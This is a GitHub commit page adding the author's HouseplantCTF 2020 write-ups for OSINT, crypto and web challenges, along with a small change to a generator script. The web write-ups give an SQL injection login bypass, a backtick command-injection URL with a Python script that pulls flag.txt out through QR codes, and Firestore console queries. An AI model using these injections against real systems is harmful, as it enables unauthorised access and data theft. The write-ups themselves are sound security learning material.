Skip to content
This repository was archived by the owner on Oct 24, 2021. It is now read-only.

Commit 3e5ca29

Browse files
joshdaboshjoshdabosh
committed
houseplant
1 parent c053af4 commit 3e5ca29

10 files changed

+197
-4
lines changed

‎.DS_Store

6 KB
Binary file not shown.

‎HouseplantCTF2020/OSINT/Catography.md

+19
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,19 @@
1+
# Catography
2+
Osint
3+
4+
> Jubie's released her own collection of cat pictures. Go check it out!
5+
>
6+
> http://challs.houseplant.riceteacatpanda.wtf:30002
7+
>
8+
> Note: The Unsplash author credit is not a part of the challenge, it's only there to conform with the Unsplash image license.
9+
10+
Originally I tried to exploit the `/api?page=<n>` route, but that turned out to be useless.
11+
12+
We get the spidey sense that we should check EXIF data again (for some reason) and so we find that we have GPS coordinates in each image. Moreover, the coordinates were mostly distinct.
13+
14+
15+
I recognized this as similar to the last stage of a [HackTM 2020 challenge](https://github.com/joshdabosh/writeups/tree/master/HackTM2020) that I solved, so I tried applying the same idea: plotting the points on some surface.
16+
17+
I told my teammate how to do it and he solved :p
18+
19+
Apparently the flag overlapped with itself so he had to do it letter by letter. :confetti_ball:

‎HouseplantCTF2020/OSINT/Groovin-and-Cubin.md

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
# Groovin-and-Cubin
2+
Osint
3+
4+
> I really like my work, I get to make cool cryptography CTF challenges but with Rubik's cubes! Sadly, they aren't good enough to get released, but hey, I took a nice image of my work! You should go try to find some more about my work :)
5+
>
6+
> Attached: vibin.zip
7+
8+
Extracting the zip gives us an image. Something inside our soul tells us to check EXIF data, so we do:
9+
10+
```
11+
exiftool vibin.jpg
12+
ExifTool Version Number : 10.94
13+
File Name : vibin.jpg
14+
Directory : .
15+
File Size : 2.4 MB
16+
...
17+
Comment : A long day of doing cube crypto at work... but working at Groobi Doobie Shoobie Corp is super fun!
18+
...
19+
```
20+
21+
The comment leads us to look for a store named `Groobi Doobie Shoobie Corp`.
22+
23+
We find [their Twitter](https://twitter.com/GShoobie) eventually.
24+
25+
Scrolling to their first tweet reveals that they have an [Instagram account](https://www.instagram.com/groovyshoobie/) too. The flag is in the bio.
26+
27+
Flag: `rtcp{eXiF_c0Mm3nT5_4r3nT_n3cEss4rY}`

‎HouseplantCTF2020/README.md

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
2+
# HouseplantCTF2020
3+
4+
## Overview
5+
6+
I "played" with RGBSec, and they got 5th with max score.
7+
8+
The reason I said "played" was because I barely spent any time on this CTF and instead played another CTF with DiceGang.
9+
10+
Here are some writeups.
11+
12+
# Challenges
13+
| Challenge Name | Category |
14+
|:-:|:-:|
15+
|[Fire/place](web/Fire-place.md)|web|
16+
|[QR Generator](web/QR-Generator.md)|web|
17+
|[I don't like needles](web/I-don't-like-needles.md)|web|
18+
|[Catography](OSINT/Catography.md)|OSINT|
19+
|[Groovin and Cubin](OSINT/Groovin-and-Cubin.md)|OSINT|
20+
|[Rainbow Vomit](crypto/Rainbow-Vomit.md)|crypto|

‎HouseplantCTF2020/config.json

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
{
2+
"index": {
3+
"notes": ["overview"]
4+
},
5+
"categories": ["web", "OSINT", "crypto"],
6+
"columns": ["category"],
7+
"challenges": {
8+
"I don't like needles": {
9+
"category": "web"
10+
},
11+
"QR Generator": {
12+
"category": "web"
13+
},
14+
"Fire/place": {
15+
"category": "web"
16+
},
17+
"Groovin and Cubin": {
18+
"category": "OSINT"
19+
},
20+
"Catography": {
21+
"category": "OSINT"
22+
},
23+
"Rainbow Vomit": {
24+
"category": "crypto"
25+
}
26+
}
27+
}

‎HouseplantCTF2020/crypto/Rainbow-Vomit.md

+12
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
# Rainbow-Vomit
2+
Crypto
3+
4+
> o.O What did YOU eat for lunch?!
5+
>
6+
> The flag is case insensitive.
7+
>
8+
> Attached: output.png
9+
10+
Straight [hexahue](https://www.geocachingtoolbox.com/index.php?lang=en&page=hexahue) decoding.
11+
12+
I got sniped by someone else while I was writing a script though.

‎HouseplantCTF2020/web/Fire-place.md

+29
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
# Fire-place
2+
Web
3+
4+
> You see, I built a nice fire/place for us to all huddle around. It's completely decentralized, and we can all share stuff in it for fun!!
5+
> Hint! I wonder... what's inside the HTML page?
6+
7+
Inspecting the source of the HTML doc reveals that this uses Google FireBase's FireStore.
8+
9+
We can get a DB reference to the `data` collection by typing the following in the console:
10+
11+
```javascript
12+
var x = await db.collection("board").doc("data").get()
13+
console.log(x.data())
14+
```
15+
16+
(`.get()` returns a Promise so we have to await it)
17+
18+
After a few more minutes of poking around I told a teammate and left.
19+
20+
The solution was to guess that there was another document named `flag` and retrieve that:
21+
22+
```javascript
23+
var x = await db.collection("board").doc("flag").get()
24+
console.log(x.data())
25+
```
26+
27+
angery :(
28+
29+
Flag: `rtcp{d0n't_g1ve_us3rs_db_a((3ss}`

‎HouseplantCTF2020/web/I-don't-like-needles.md

+14
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
# I-don't-like-needles
2+
Web
3+
4+
> They make me SQueaL!
5+
>
6+
> http://challs.houseplant.riceteacatpanda.wtf:30001
7+
8+
We get source by visiting `/?sauce`.
9+
10+
This is vulnerable to classic SQLi, but we have to actually read the source to find the right username: `flagman69`.
11+
12+
We log in with username `flagman69` and password `'=0;-- ` to get the flag.
13+
14+
Flag: `rtcp{y0u-kn0w-1-didn't-mean-it-like-th@t}`

‎HouseplantCTF2020/web/QR-Generator.md

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
# QR-Generator
2+
Web
3+
4+
> I was playing around with some stuff on my computer and found out that you can generate QR codes! I tried to make an online QR code generator, but it seems that's not working like it should be. Would you mind taking a look?
5+
>
6+
> http://challs.houseplant.riceteacatpanda.wtf:30004
7+
>
8+
> Hint! For some reason, my website isn't too fond of backticks...
9+
10+
The backticks seem to indicate the typical bash injection.
11+
12+
The endpoint where the actual QR code is processed is at `/qr?text=<text>`.
13+
14+
Scanning some sample QR codes reveals that it only encodes the first letter of whatever is encoded. On errors, it redirects to `/error.jpg`.
15+
16+
We can try injecting ``/qr?text=`ls` `` (the extra space isn't necessary, markdown just doesn't like literal backticks). Scanning the generated QR code gives us an `R`.
17+
18+
To get the full character, we can iterate through characters of the stdout of the command: `<cmd> | head -c n | tail -c 1` where n is the n'th character of stdout.
19+
20+
We can use this trick with `ls` to get the directory listing. We find that there is a `flag.txt`. The following script extracts the contents of `flag.txt`.
21+
22+
```python
23+
from pyzbar.pyzbar import decode
24+
from PIL import Image
25+
26+
import urllib.request
27+
28+
29+
url = "http://challs.houseplant.riceteacatpanda.wtf:30004/qr?text=`cat%20flag.txt|%20head%20-c%20{}%20|%20tail%20-c%201`"
30+
31+
i = 1
32+
33+
while True:
34+
temp = url.format(i)
35+
urllib.request.urlretrieve(temp, "qr.jpg")
36+
37+
print(decode(Image.open("qr.jpg"))[0].data.decode(), end="")
38+
39+
i+=1
40+
```
41+
42+
Flag: `rtcp{fl4gz_1n_qr_c0d3s???_b1c3fea}`

‎generate.py

+7-4
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,6 @@
77

88
try:
99
overwrite = int(sys.argv[2])
10-
assert overwrite == 1
1110

1211
except:
1312
overwrite = 0
@@ -76,7 +75,7 @@
7675
for chall in challs:
7776
for col in columns:
7877
if col == "Challenge Name":
79-
toAdd += f"|[{chall}]({cat+'/'+chall.replace(' ', '-')+'.md'})"
78+
toAdd += f"|[{chall}]({cat+'/'+chall.replace(' ', '-').replace('/', '-')+'.md'})"
8079
continue
8180

8281
toAdd += "|" + challenges[chall][col.lower()]
@@ -87,13 +86,17 @@
8786

8887

8988
for chall, amt in challenges.items():
90-
chall = chall.replace(" ", "-")
89+
chall = chall.replace(" ", "-").replace("/", "-")
9190
fname = os.path.join(name, amt['category'].lower(), chall+".md")
9291

93-
if overwrite:
92+
if overwrite == 1:
9493
with open(fname, "w") as f:
9594
f.write(f"# {chall}\n{amt['category'].capitalize()}, {amt['points']}")
9695

96+
if overwrite == 2:
97+
with open(fname, "w") as f:
98+
f.write(f"# {chall}\n{amt['category'].capitalize()}")
99+
97100
else:
98101
if not os.path.exists(fname):
99102
with open(fname, "w") as f:

0 commit comments

Comments
 (0)